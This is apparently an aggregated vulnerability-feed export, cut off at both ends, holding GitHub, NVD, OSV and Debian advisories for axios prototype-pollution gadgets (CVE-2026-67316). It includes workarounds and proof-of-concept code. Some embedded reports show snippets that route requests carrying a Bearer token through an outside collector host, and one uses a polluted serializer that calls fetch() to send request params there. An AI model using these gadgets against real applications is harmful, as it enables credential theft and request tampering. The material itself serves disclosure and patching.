YXR0YWNrZXI6ZXhmaWw=\",\n  \"url\": \"/demo?polluted=1\"\n}\n```\n\n## Workarounds\n\nIf upgrading is not yet possible, avoid passing placeholder nested option objects.\n\nRemove `auth` entirely when Basic auth is not intended. For `paramsSerializer` objects, provide explicit own `encode` and `serialize` properties or remove `paramsSerializer` when custom serialization is not required.\n\nThese workarounds only address this axios gadget. They do not remediate the separate prototype-pollution primitive that must already exist in the application process.\n\n\u003cdetails\u003e\n\u003csummary\u003eOriginal Report\u003c/summary\u003e\n\n### Summary\naxios 1.16.1 mitigates prototype-pollution gadgets on the top-level request config but not on nested option objects. When a caller passes a partial nested option object such as auth: {} or paramsSerializer: {}, axios reads inner fields (username, password, encode, serialize) through the prototype chain. If Object.prototype has been polluted by another component in the same Node.js process, those inherited values are silently injected into the outbound request, including the Authorization header and the serialized query string. \n\n### Details\nmergeConfig (lib/core/mergeConfig.js) was hardened to use a null-prototype container for the top-level config, but its nested-clone helper still produces ordinary {} containers:\n\nmergeConfig.js Lines 36-45\n\n```\n  function getMergedValue(target, source, prop, caseless) {\n    if (utils.isPlainObject(target) \u0026\u0026 utils.isPlainObject(source)) {\n      return utils.merge.call({ caseless }, target, source);\n    } else if (utils.isPlainObject(source)) {\n      return utils.merge({}, source);\n    } else if (utils.isArray(source)) {\n      return source.slice();\n    }\n    return source;\n  }\n```\n\nThe cloned nested objects therefore inherit from Object.prototype. Downstream consumers read sensitive fields via plain dotted access, with no own-property guard:\n\nBrowser / fetch Basic auth — lib/helpers/resolveConfig.js:\nresolveConfig.js Lines 64-70\n```\n  if (auth) {\n    headers.set(\n      'Authorization',\n      'Basic ' +\n        btoa((auth.username || '') + ':' + (auth.password ? encodeUTF8(auth.password) : ''))\n    );\n  }\n```\n\nNode HTTP adapter Basic auth — lib/adapters/http.js:\nhttp.js Lines 829-836\n```\n      // HTTP basic authentication\n      let auth = undefined;\n      const configAuth = own('auth');\n      if (configAuth) {\n        const username = configAuth.username || '';\n        const password = configAuth.password || '';\n        auth = username + ':' + password;\n      }\n```\n\nparamsSerializer reads — lib/helpers/buildURL.js:\nbuildURL.js Lines 31-54\n```\nexport default function buildURL(url, params, options) {\n  if (!params) {\n    return url;\n  }\n  const _encode = (options \u0026\u0026 options.encode) || encode;\n  const _options = utils.isFunction(options)\n    ? {\n        serialize: options,\n      }\n    : options;\n  const serializeFn = _options \u0026\u0026 _options.serialize;\n  let serializedParams;\n  if (serializeFn) {\n    serializedParams = serializeFn(params, _options);\n  } else {\n    serializedParams = utils.isURLSearchParams(params)\n      ? params.toString()\n      : new AxiosURLSearchParams(params, _options).toString(_encode);\n  }\n```\n\nBecause auth.username, auth.password, options.encode, and options.serialize are accessed without hasOwnProperty checks, a polluted Object.prototype.username / Object.prototype.password / Object.prototype.serialize flows directly into the outgoing request.\n\nThe auth sink is the primary impact (silent Basic-auth injection); paramsSerializer.serialize is a secondary but powerful sink because it can fully replace the query string.\n\n### PoC\n```\nimport http from 'node:http';\nimport axios from '../../index.js';\n\nconst ATTACKER_USER = 'attacker';\nconst ATTACKER_PASS = 'exfil';\nconst ATTACKER_BASIC = Buffer.from(`${ATTACKER_USER}:${ATTACKER_PASS}`).toString('base64');\n\n// Step 1: simulate a pre-existing prototype-pollution primitive in this process.\n// In reality, a separate dependency would have done this. We keep the\n// \"polluted\" properties non-enumerable so they only affect inherited reads,\n// which is the realistic shape of most prototype-pollution gadgets.\nObject.defineProperty(Object.prototype, 'username', {\n  value: ATTACKER_USER,\n  configurable: true,\n});\nObject.defineProperty(Object.prototype, 'password', {\n  value: ATTACKER_PASS,\n  configurable: true,\n});\nObject.defineProperty(Object.prototype, 'serialize', {\n  value: () =\u003e 'polluted=1',\n  configurable: true,\n});\n\n// Local capture server.\nconst server = http.createServer((req, res) =\u003e {\n  const captured = {\n    authorization: req.headers['authorization'] || null,\n    url: req.url,\n  };\n  res.writeHead(200, { 'content-type': 'application/json' });\n  res.end(JSON.stringify(captured));\n});\n\nawait new Promise((resolve) =\u003e server.listen(0, '127.0.0.1', resolve));\nconst port = server.address().port;\n\ntry {\n  // Application code: passes nested *placeholder* option objects that have\n  // no own auth/serializer properties. Without prototype pollution this is\n  // a no-op. With prototype pollution it becomes attacker-controlled state.\n  const response = await axios.get(`http://127.0.0.1:${port}/demo`, {\n    auth: {},\n    paramsSerializer: {},\n    params: { unused: 'ignored-by-polluted-serializer' },\n  });\n\n  console.log('--- PoC: nested-option prototype-pollution gadgets ---');\n  console.log('Server saw:', JSON.stringify(response.data));\n\n  const authLeaked = response.data.authorization === `Basic ${ATTACKER_BASIC}`;\n  const urlRewritten = response.data.url === '/demo?polluted=1';\n\n  if (authLeaked \u0026\u0026 urlRewritten) {\n    console.log(\n      'VULNERABLE: nested auth + paramsSerializer inherited polluted ' +\n        'Object.prototype values into the outbound request.'\n    );\n    process.exitCode = 0;\n  } else {\n    console.log('NOT VULNERABLE: nested option objects did not leak prototype state.');\n    console.log('  authLeaked   =', authLeaked);\n    console.log('  urlRewritten =', urlRewritten);\n    process.exitCode = 1;\n  }\n} finally {\n  server.close();\n  // Restore Object.prototype so a noisy exit/process state cannot affect\n  // anything else accidentally sharing the runtime.\n  delete Object.prototype.username;\n  delete Object.prototype.password;\n  delete Object.prototype.serialize;\n}\n```\n\n### Impact\nConcrete consequences:\n- Silent injection of attacker-controlled Authorization: Basic … headers on outbound requests, enabling credential exfiltration to attacker-chosen upstreams or impersonation against trusted upstreams.\n- Full takeover of query-string serialization via paramsSerializer.serialize, enabling request tampering, cache-key poisoning, and bypass of upstream signature/policy checks that sign the literal request line.\n\u003cdetails\u003e","status":"published","published":"2026-07-20T22:37:31Z","modified":"2026-09-01T18:41:48Z","cvss":[{"version":"4.0","score":6.3,"vector":"CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:L/SA:N","level":"medium"}],"cwes":["CWE-1321"],"updated_at":"2026-11-02T14:41:08.980668Z"},{"id":"GHSA-f2r5-pqh9-r8f8","title":"Duplicate Advisory: Axios: Prototype pollution gadgets can alter axios request construction","description":"## Duplicate Advisory\n\nThis advisory has been withdrawn because it is a duplicate of GHSA-mmx7-hfxf-jppx. This link is maintained to preserve external references.\n\n## Original Description\naxios is vulnerable to read-side prototype-pollution gadgets that can alter request construction when Object.prototype has already been polluted by a separate vulnerability or dependency. In the bodyless method aliases (axios.get(), axios.delete(), axios.head(), axios.options()), inherited data is read via (config || {}).data before config normalization, causing an attacker-controlled body to be sent on requests that did not set one. Additional low-level paths, only reachable when calling exported adapters/helpers (e.g. lib/adapters/http.js, unsafe/helpers/resolveConfig.js) directly with plain configs and no own proxy or paramsSerializer, can inherit polluted proxy values (routing requests through an attacker-controlled proxy) or paramsSerializer values (attacker-controlled URL serialization). These low-level gadgets do not reproduce through normal high-level axios calls on 1.15.2+. The issue is fixed in axios 1.18.0 and 0.33.0.","status":"withdrawn","published":"2026-08-01T15:30:27Z","modified":"2026-08-31T19:51:22Z","cvss":[{"version":"4.0","score":6.3,"vector":"CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","level":"medium"}],"cwes":["CWE-1321"],"updated_at":"2026-11-02T14:41:08.084849Z"},{"id":"GHSA-mmx7-hfxf-jppx","title":"Axios: Prototype pollution gadgets can alter axios request construction","description":"## Summary\n\naxios is vulnerable to read-side prototype-pollution gadgets when `Object.prototype` has already been polluted by another vulnerability or dependency. The most broadly reachable issue is in the bodyless method aliases: `axios.get()`, `axios.delete()`, `axios.head()`, and `axios.options()` read inherited `data` before config normalization, causing attacker-controlled body data to be sent on requests that did not explicitly set a body.\n\nAdditional low-level paths affect consumers that call exported adapters/helpers directly with plain config objects. In those cases, inherited `proxy` or `paramsSerializer` values can influence request routing or URL serialization. These low-level paths are not reproduced through normal `axios.get()` usage on `1.15.2+`.\n\n## Impact\n\nAn attacker who can first pollute `Object.prototype` can cause axios to send attacker-controlled request bodies on bodyless method aliases. This can corrupt request semantics where the receiving service processes bodies on `GET`, `DELETE`, `HEAD`, or `OPTIONS`.\n\nFor direct low-level Node HTTP adapter usage, inherited `proxy` can route requests through an attacker-controlled proxy. Depending on axios version, target scheme, and proxy behavior, this can expose request URLs, headers, and bodies or allow traffic modification.\n\nFor direct `resolveConfig` or browser-adapter helper usage, inherited `paramsSerializer` can be invoked with request params, allowing attacker-controlled URL serialization. This was not reproduced through normal high-level axios calls on `1.15.2+`.\n\n## Affected Functionality\n\nAffected normal API:\n\n- `axios.get(url[, config])`\n- `axios.delete(url[, config])`\n- `axios.head(url[, config])`\n- `axios.options(url[, config])`\n\nAffected low-level usage:\n\n- Direct calls to `axios/lib/adapters/http.js` or `axios/unsafe/adapters/http.js` with plain configs and no own `proxy`.\n- Direct calls to `axios/unsafe/helpers/resolveConfig.js` or direct browser adapter/helper paths with plain configs and no own `paramsSerializer`.\n\nUnaffected or corrected scope:\n\n- Normal `axios.get()` calls on `1.15.2+` did not reproduce the `proxy` or `paramsSerializer` gadgets because `mergeConfig()` returns a null-prototype config and uses own-property reads.\n\n## Technical Details\n\n`lib/core/Axios.js` constructs aliases for bodyless methods and copies `data` with `(config || {}).data` before config normalization. If `Object.prototype.data` is polluted, this inherited value becomes an own `data` property in the merged request config and is sent by the adapter.\n\n`lib/core/mergeConfig.js` in `1.15.2+` returns a null-prototype config and uses `hasOwnProp` guards, which prevents normal high-level requests from inheriting polluted `proxy` and `paramsSerializer` values after merge. This is why those two reporter claims do not reproduce through normal `axios.get()` on `1.15.2` or `1.16.1`.\n\nThe low-level adapter/helper paths can still receive plain configs directly. In that usage, direct reads of `config.proxy` in the Node HTTP adapter and `config.paramsSerializer` in affected `resolveConfig()` versions can consume inherited polluted values.\n\n## Proof of Concept of Attack\n\n```js\nimport http from 'http';\nimport axios from 'axios';\n\nconst server = http.createServer((req, res) =\u003e {\n  let body = '';\n\n  req.on('data', chunk =\u003e {\n    body += chunk;\n  });\n\n  req.on('end', () =\u003e {\n    res.writeHead(200, {'content-type': 'application/json'});\n    res.end(JSON.stringify({body, headers: req.headers}));\n  });\n});\n\nawait new Promise(resolve =\u003e server.listen(0, '127.0.0.1', resolve));\n\nObject.prototype.data = 'INJECTED';\n\ntry {\n  const res = await axios.get(`http://127.0.0.1:${server.address().port}/data`);\n\n  console.log(res.data.body); // \"INJECTED\"\n  console.log(res.data.headers['content-length']); // \"8\"\n} finally {\n  delete Object.prototype.data;\n  await new Promise(resolve =\u003e server.close(resolve));\n}\n```\n\nExpected result: a request body is sent even though the caller did not explicitly set `config.data`.\n\n## Workarounds\n\nAvoid processing untrusted input with libraries or code paths that can pollute `Object.prototype`. As a defense-in-depth mitigation before an axios fix is available, explicitly pass `data: undefined` on bodyless method aliases when running in a process where prototype pollution is a concern.\n\n\u003cdetails\u003e\n\u003csummary\u003eOriginal Report\u003c/summary\u003e\n\n### Summary\n\nThree prototype pollution read-side gadgets in axios bypass the `own()` hasOwnProp guard pattern, allowing a polluted `Object.prototype` to hijack outbound requests.\n\n### Details\n\nThe [`own()` helper](https://github.com/axios/axios/blob/v1.15.2/lib/adapters/http.js#L342) was introduced after GHSA-q8qp-cvcw-x6jj to prevent polluted prototype properties from reaching security-sensitive config reads. Three paths were missed:\n\n`config.proxy` at [http.js:715](https://github.com/axios/axios/blob/v1.15.2/lib/adapters/http.js#L715) goes straight into [`setProxy()`](https://github.com/axios/axios/blob/v1.15.2/lib/adapters/http.js#L197). A polluted `Object.prototype.proxy` reroutes outbound requests through an attacker-controlled proxy, exposing Authorization headers and full request URLs.\n\n`(config || {}).data` at [Axios.js:248](https://github.com/axios/axios/blob/v1.15.2/lib/core/Axios.js#L248) covers GET, HEAD, DELETE, OPTIONS. Even without explicit body, polluted value becomes the body. I got injected payloads on 3 of 4 method types in testing.\n\n`config.paramsSerializer` at [resolveConfig.js:32](https://github.com/axios/axios/blob/v1.15.2/lib/helpers/resolveConfig.js#L32) is three lines below the [`own()` definition that was supposed to protect it](https://github.com/axios/axios/blob/v1.15.2/lib/helpers/resolveConfig.js#L15). A polluted  function onto `Object.prototype.paramsSerializer` gets called with the request params on every request that has query strings.\n\nI read up on the threat model and I believe T-R4b identifies this exact class and notes that config-read paths must use `hasOwnProp` guards. These three seem to predate or were missed by that coverage.\n\n### PoC\n\nRan against `axios@1.15.2` on `node:22-slim` in Docker. Clean install, no other deps.\n\n```javascript\nimport axios from 'axios';\n\n// gadget 1 - proxy\nObject.prototype.proxy = { host: 'yourcollab.oastify.com', port: 8080, protocol: 'http' };\nawait axios.get('https://api.example.com/user', { headers: { Authorization: 'Bearer sk-test-1234567890' } });\n// check collaborator - request arrives with full path + auth header\n```\n\n```javascript\n// gadget 2 - data on bodyless methods\nObject.prototype.data = '{\"injected\":true}';\nawait axios.get('https://api.example.com/items');\nawait axios.delete('https://api.example.com/items/1');\nawait axios.head('https://api.example.com/items');\n// 3/4 methods send the polluted body\n```\n\n```javascript\n// gadget 3 - paramsSerializer\nObject.prototype.paramsSerializer = (p) =\u003e {\n  fetch('https://yourcollab.oastify.com/?' + new URLSearchParams(p));\n  return 'q=x';\n};\nawait axios.get('https://api.example.com/search', { params: { token: 'secret' } });\n```\n\n### Impact\n\nAny app with a polluted prototype (common via transitive deps like lodash, qs, minimist) should be affected. Gadget 1 steals credentials and redirects traffic. Gadget 2 corrupts request semantics. Gadget 3 gives the attacker arbitrary control over URL construction and a data exfiltration channel. All three fire silently on normal application code that never touches proxy, data, or `paramsSerializer` directly.\n\u003c/details\u003e","status":"published","published":"2026-07-20T22:25:07Z","modified":"2026-08-31T19:51:33Z","cvss":[{"version":"4.0","score":6.3,"vector":"CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N","level":"medium"}],"cwes":["CWE-1321"],"updated_at":"2026-11-02T14:41:08.084849Z"}],"nvd":[{"id":"CVE-2026-67316","description":"axios is vulnerable to read-side prototype-pollution gadgets that can alter request construction when Object.prototype has already been polluted by a separate vulnerability or dependency. In the bodyless method aliases (axios.get(), axios.delete(), axios.head(), axios.options()), inherited data is read via (config || {}).data before config normalization, causing an attacker-controlled body to be sent on requests that did not set one. Additional low-level paths, only reachable when calling exported adapters/helpers (e.g. lib/adapters/http.js, unsafe/helpers/resolveConfig.js) directly with plain configs and no own proxy or paramsSerializer, can inherit polluted proxy values (routing requests through an attacker-controlled proxy) or paramsSerializer values (attacker-controlled URL serialization). These low-level gadgets do not reproduce through normal high-level axios calls on 1.15.2+. The issue is fixed in axios 1.18.0 and 0.33.0.","status":"published","published":"2026-08-01T13:17:01.673Z","modified":"2026-09-01T15:40:01.88Z","cvss":[{"version":"4.0","score":6.3,"vector":"CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","level":"medium","assessor":"secondary"},{"version":"3.1","score":7.4,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N","level":"high","assessor":"primary"}],"cwes":["CWE-1321"],"updated_at":"2026-11-02T14:12:34.290716Z"}],"osv":[{"id":"CVE-2026-67316","title":"axios before 1.18.0 Prototype Pollution via bodyless methods","description":"axios is vulnerable to read-side prototype-pollution gadgets that can alter request construction when Object.prototype has already been polluted by a separate vulnerability or dependency. In the bodyless method aliases (axios.get(), axios.delete(), axios.head(), axios.options()), inherited data is read via (config || {}).data before config normalization, causing an attacker-controlled body to be sent on requests that did not set one. Additional low-level paths, only reachable when calling exported adapters/helpers (e.g. lib/adapters/http.js, unsafe/helpers/resolveConfig.js) directly with plain configs and no own proxy or paramsSerializer, can inherit polluted proxy values (routing requests through an attacker-controlled proxy) or paramsSerializer values (attacker-controlled URL serialization). These low-level gadgets do not reproduce through normal high-level axios calls on 1.15.2+. The issue is fixed in axios 1.18.0 and 0.33.0.","status":"published","published":"2026-08-01T12:22:18.114Z","modified":"2026-10-28T02:30:46.490253597Z","cvss":[{"version":"4.0","score":6.3,"vector":"CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N","level":"medium"}],"cwes":["CWE-1321"],"updated_at":"2026-11-02T15:45:14.46177Z"},{"id":"DEBIAN-CVE-2026-67316","description":"axios is vulnerable to read-side prototype-pollution gadgets that can alter request construction when Object.prototype has already been polluted by a separate vulnerability or dependency. In the bodyless method aliases (axios.get(), axios.delete(), axios.head(), axios.options()), inherited data is read via (config || {}).data before config normalization, causing an attacker-controlled body to be sent on requests that did not set one. Additional low-level paths, only reachable when calling exported adapters/helpers (e.g. lib/adapters/http.js, unsafe/helpers/resolveConfig.js) directly with plain configs and no own proxy or paramsSerializer, can inherit polluted proxy values (routing requests through an attacker-controlled proxy) or paramsSerializer values (attacker-controlled URL serialization). These low-level gadgets do not reproduce through normal high-level axios calls on 1.15.2+. The issue is fixed in axios 1.18.0 and 0.33.0.","status":"published","published":"2026-08-01T13:17:01.673Z","modified":"2026-10-01T03:02:22.108683733Z","cvss":[{"version":"3.1","score":7.4,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N","level":"high"}],"updated_at":"2026-11-02T15:46:01.68444Z"},{"id":"GHSA-7q8q-rj6j-mhjq","title":"Axios: Nested axios option objects can consume polluted prototype values","description":"## Summary\n\nAxios can consume inherited properties from nested request option objects when the JavaScript process already has a polluted `Object.prototype`.\n\nThe top-level merged config is protected with a null prototype, but nested plain objects such as `auth` and `paramsSerializer` are cloned into ordinary objects. If application code passes placeholders such as `auth: {}` or `paramsSerializer: {}`, inherited `username`, `password`, `encode`, or `serialize` properties can influence outbound requests.\n\n## Impact\n\nThis is reachable only when another component has already polluted `Object.prototype` and the application passes an affected nested axios option object.\n\nConfirmed impacts include silent injection of an `Authorization: Basic ...` header from inherited `username` and `password` values, and query-string tampering when inherited `paramsSerializer` fields are function-valued.\n\nThe `auth` case requires only string-valued pollution. Full query-string replacement through `paramsSerializer.serialize` requires a function-valued pollution primitive; string-only pollution may still cause request failures or encoding changes through `encode`.\n\nThis does not mean every axios request is affected. Requests that do not pass `auth`, do not pass `paramsSerializer`, or provide explicit own properties for the relevant nested fields are not affected by this specific gadget.\n\n## Affected Functionality\n\nAffected runtime functionality:\n\n- Node HTTP adapter Basic auth handling in `lib/adapters/http.js`.\n- Browser/fetch/XHR Basic auth handling through `lib/helpers/resolveConfig.js`.\n- Query serialization through `lib/helpers/buildURL.js`.\n- `axios.getUri()` when called with an affected `paramsSerializer` object.\n\nAffected config shapes:\n\n- `auth: {}` or an `auth` object missing own `username` and/or `password`.\n- `paramsSerializer: {}` or a `paramsSerializer` object missing own `encode` and/or `serialize`.\n\nUnaffected by this specific issue:\n\n- Requests with no `auth` property.\n- Requests with no `paramsSerializer` property.\n- Top-level polluted `auth` or `paramsSerializer` values in current hardened versions.\n\n## Technical Details\n\n`lib/core/mergeConfig.js` creates the top-level merged config with `Object.create(null)`, but nested object cloning still uses ordinary `{}` containers:\n\n```js\n} else if (utils.isPlainObject(source)) {\n  return utils.merge({}, source);\n}\n```\n\nDownstream code then reads nested fields without own-property checks.\n\nIn `lib/helpers/resolveConfig.js`:\n\n```js\nbtoa((auth.username || '') + ':' + (auth.password ? encodeUTF8(auth.password) : ''))\n```\n\nIn `lib/adapters/http.js`:\n\n```js\nconst username = configAuth.username || '';\nconst password = configAuth.password || '';\nauth = username + ':' + password;\n```\n\nIn `lib/helpers/buildURL.js`:\n\n```js\nconst _encode = (options \u0026\u0026 options.encode) || encode;\nconst serializeFn = _options \u0026\u0026 _options.serialize;\n```\n\n## Proof of Concept of Attack\n\n```js\nimport http from 'node:http';\nimport axios from './index.js';\n\nconst user = 'attacker';\nconst pass = 'exfil';\n\nObject.defineProperty(Object.prototype, 'username', {\n  value: user,\n  configurable: true\n});\n\nObject.defineProperty(Object.prototype, 'password', {\n  value: pass,\n  configurable: true\n});\n\nObject.defineProperty(Object.prototype, 'serialize', {\n  value: () =\u003e 'polluted=1',\n  configurable: true\n});\n\nconst server = http.createServer((req, res) =\u003e {\n  res.writeHead(200, { 'content-type': 'application/json' });\n  res.end(JSON.stringify({\n    authorization: req.headers.authorization || null,\n    url: req.url\n  }));\n});\n\nawait new Promise((resolve) =\u003e server.listen(0, '127.0.0.1', resolve));\n\ntry {\n  const port = server.address().port;\n  const response = await axios.get(`http://127.0.0.1:${port}/demo`, {\n    auth: {},\n    paramsSerializer: {},\n    params: { unused: 'ignored' }\n  });\n\n  console.log(response.data);\n} finally {\n  await new Promise((resolve) =\u003e server.close(resolve));\n  delete Object.prototype.username;\n  delete Object.prototype.password;\n  delete Object.prototype.serialize;\n}\n```\n\nObserved result:\n\n```json\n{\n  \"authorization\": \"Basic YXR0YWNrZXI6ZXhmaWw=\",\n  \"url\": \"/demo?polluted=1\"\n}\n```\n\n## Workarounds\n\nIf upgrading is not yet possible, avoid passing placeholder nested option objects.\n\nRemove `auth` entirely when Basic auth is not intended. For `paramsSerializer` objects, provide explicit own `encode` and `serialize` properties or remove `paramsSerializer` when custom serialization is not required.\n\nThese workarounds only address this axios gadget. They do not remediate the separate prototype-pollution primitive that must already exist in the application process.\n\n\u003cdetails\u003e\n\u003csummary\u003eOriginal Report\u003c/summary\u003e\n\n### Summary\naxios 1.16.1 mitigates prototype-pollution gadgets on the top-level request config but not on nested option objects. When a caller passes a partial nested option object such as auth: {} or paramsSerializer: {}, axios reads inner fields (username, password, encode, serialize) through the prototype chain. If Object.prototype has been polluted by another component in the same Node.js process, those inherited values are silently injected into the outbound request, including the Authorization header and the serialized query string. \n\n### Details\nmergeConfig (lib/core/mergeConfig.js) was hardened to use a null-prototype container for the top-level config, but its nested-clone helper still produces ordinary {} containers:\n\nmergeConfig.js Lines 36-45\n\n```\n  function getMergedValue(target, source, prop, caseless) {\n    if (utils.isPlainObject(target) \u0026\u0026 utils.isPlainObject(source)) {\n      return utils.merge.call({ caseless }, target, source);\n    } else if (utils.isPlainObject(source)) {\n      return utils.merge({}, source);\n    } else if (utils.isArray(source)) {\n      return source.slice();\n    }\n    return source;\n  }\n```\n\nThe cloned nested objects therefore inherit from Object.prototype. Downstream consumers read sensitive fields via plain dotted access, with no own-property guard:\n\nBrowser / fetch Basic auth — lib/helpers/resolveConfig.js:\nresolveConfig.js Lines 64-70\n```\n  if (auth) {\n    headers.set(\n      'Authorization',\n      'Basic ' +\n        btoa((auth.username || '') + ':' + (auth.password ? encodeUTF8(auth.password) : ''))\n    );\n  }\n```\n\nNode HTTP adapter Basic auth — lib/adapters/http.js:\nhttp.js Lines 829-836\n```\n      // HTTP basic authentication\n      let auth = undefined;\n      const configAuth = own('auth');\n      if (configAuth) {\n        const username = configAuth.username || '';\n        const password = configAuth.password || '';\n        auth = username + ':' + password;\n      }\n```\n\nparamsSerializer reads — lib/helpers/buildURL.js:\nbuildURL.js Lines 31-54\n```\nexport default function buildURL(url, params, options) {\n  if (!params) {\n    return url;\n  }\n  const _encode = (options \u0026\u0026 options.encode) || encode;\n  const _options = utils.isFunction(options)\n    ? {\n        serialize: options,\n      }\n    : options;\n  const serializeFn = _options \u0026\u0026 _options.serialize;\n  let serializedParams;\n  if (serializeFn) {\n    serializedParams = serializeFn(params, _options);\n  } else {\n    serializedParams = utils.isURLSearchParams(params)\n      ? params.toString()\n      : new AxiosURLSearchParams(params, _options).toString(_encode);\n  }\n```\n\nBecause auth.username, auth.password, options.encode, and options.serialize are accessed without hasOwnProperty checks, a polluted Object.prototype.username / Object.prototype.password / Object.prototype.serialize flows directly into the outgoing request.\n\nThe auth sink is the primary impact (silent Basic-auth injection); paramsSerializer.serialize is a secondary but powerful sink because it can fully replace the query string.\n\n### PoC\n```\nimport http from 'node:http';\nimport axios from '../../index.js';\n\nconst ATTACKER_USER = 'attacker';\nconst ATTACKER_PASS = 'exfil';\nconst ATTACKER_BASIC = Buffer.from(`${ATTACKER_USER}:${ATTACKER_PASS}`).toString('base64');\n\n// Step 1: simulate a pre-existing prototype-pollution primitive in this process.\n// In reality, a separate dependency would have done this. We keep the\n// \"polluted\" properties non-enumerable so they only affect inherited reads,\n// which is the realistic shape of most prototype-pollution gadgets.\nObject.defineProperty(Object.prototype, 'username', {\n  value: ATTACKER_USER,\n  configurable: true,\n});\nObject.defineProperty(Object.prototype, 'password', {\n  value: ATTACKER_PASS,\n  configurable: true,\n});\nObject.defineProperty(Object.prototype, 'serialize', {\n  value: () =\u003e 'polluted=1',\n  configurable: true,\n});\n\n// Local capture server.\nconst server = http.createServer((req, res) =\u003e {\n  const captured = {\n    authorization: req.headers['authorization'] || null,\n    url: req.url,\n  };\n  res.writeHead(200, { 'content-type': 'application/json' });\n  res.end(JSON.stringify(captured));\n});\n\nawait new Promise((resolve) =\u003e server.listen(0, '127.0.0.1', resolve));\nconst port = server.address().port;\n\ntry {\n  // Application code: passes nested *placeholder* option objects that have\n  // no own auth/serializer properties. Without prototype pollution this is\n  // a no-op. With prototype pollution it becomes attacker-controlled state.\n  const response = await axios.get(`http://127.0.0.1:${port}/demo`, {\n    auth: {},\n    paramsSerializer: {},\n    params: { unused: 'ignored-by-polluted-serializer' },\n  });\n\n  console.log('--- PoC: nested-option prototype-pollution gadgets ---');\n  console.log('Server saw:', JSON.stringify(response.data));\n\n  const authLeaked = response.data.authorization === `Basic ${ATTACKER_BASIC}`;\n  const urlRewritten = response.data.url === '/demo?polluted=1';\n\n  if (authLeaked \u0026\u0026 urlRewritten) {\n    console.log(\n      'VULNERABLE: nested auth + paramsSerializer inherited polluted ' +\n        'Object.prototype values into the outbound request.'\n    );\n    process.exitCode = 0;\n  } else {\n    console.log('NOT VULNERABLE: nested option objects did not leak prototype state.');\n    console.log('  authLeaked   =', authLeaked);\n    console.log('  urlRewritten =', urlRewritten);\n    process.exitCode = 1;\n  }\n} finally {\n  server.close();\n  // Restore Object.prototype so a noisy exit/process state cannot affect\n  // anything else accidentally sharing the runtime.\n  delete Object.prototype.username;\n  delete Object.prototype.password;\n  delete Object.prototype.serialize;\n}\n```\n\n### Impact\nConcrete consequences:\n- Silent injection of attacker-controlled Authorization: Basic … headers on outbound requests, enabling credential exfiltration to attacker-chosen upstreams or impersonation against trusted upstreams.\n- Full takeover of query-string serialization via paramsSerializer.serialize, enabling request tampering, cache-key poisoning, and bypass of upstream signature/policy checks that sign the literal request line.\n\u003cdetails\u003e","status":"published","published":"2026-07-20T22:37:31Z","modified":"2026-09-10T03:51:10.872027953Z","cvss":[{"version":"4.0","score":6.3,"vector":"CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:L/SA:N","level":"medium"}],"cwes":["CWE-1321"],"updated_at":"2026-11-02T15:46:41.349637Z"},{"id":"GHSA-f2r5-pqh9-r8f8","title":"Duplicate Advisory: Axios: Prototype pollution gadgets can alter axios request construction","description":"## Duplicate Advisory\n\nThis advisory has been withdrawn because it is a duplicate of GHSA-mmx7-hfxf-jppx. This link is maintained to preserve external references.\n\n## Original Description\naxios is vulnerable to read-side prototype-pollution gadgets that can alter request construction when Object.prototype has already been polluted by a separate vulnerability or dependency. In the bodyless method aliases (axios.get(), axios.delete(), axios.head(), axios.options()), inherited data is read via (config || {}).data before config normalization, causing an attacker-controlled body to be sent on requests that did not set one. Additional low-level paths, only reachable when calling exported adapters/helpers (e.g. lib/adapters/http.js, unsafe/helpers/resolveConfig.js) directly with plain configs and no own proxy or paramsSerializer, can inherit polluted proxy values (routing requests through an attacker-controlled proxy) or paramsSerializer values (attacker-controlled URL serialization). These low-level gadgets do not reproduce through normal high-level axios calls on 1.15.2+. The issue is fixed in axios 1.18.0 and 0.33.0.","status":"withdrawn","published":"2026-08-01T15:30:27Z","modified":"2026-09-10T03:51:13.925198037Z","cvss":[{"version":"4.0","score":6.3,"vector":"CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","level":"medium"}],"cwes":["CWE-1321"],"updated_at":"2026-11-02T15:46:45.639885Z"},{"id":"GHSA-mmx7-hfxf-jppx","title":"Axios: Prototype pollution gadgets can alter axios request construction","description":"## Summary\n\naxios is vulnerable to read-side prototype-pollution gadgets when `Object.prototype` has already been polluted by another vulnerability or dependency. The most broadly reachable issue is in the bodyless method aliases: `axios.get()`, `axios.delete()`, `axios.head()`, and `axios.options()` read inherited `data` before config normalization, causing attacker-controlled body data to be sent on requests that did not explicitly set a body.\n\nAdditional low-level paths affect consumers that call exported adapters/helpers directly with plain config objects. In those cases, inherited `proxy` or `paramsSerializer` values can influence request routing or URL serialization. These low-level paths are not reproduced through normal `axios.get()` usage on `1.15.2+`.\n\n## Impact\n\nAn attacker who can first pollute `Object.prototype` can cause axios to send attacker-controlled request bodies on bodyless method aliases. This can corrupt request semantics where the receiving service processes bodies on `GET`, `DELETE`, `HEAD`, or `OPTIONS`.\n\nFor direct low-level Node HTTP adapter usage, inherited `proxy` can route requests through an attacker-controlled proxy. Depending on axios version, target 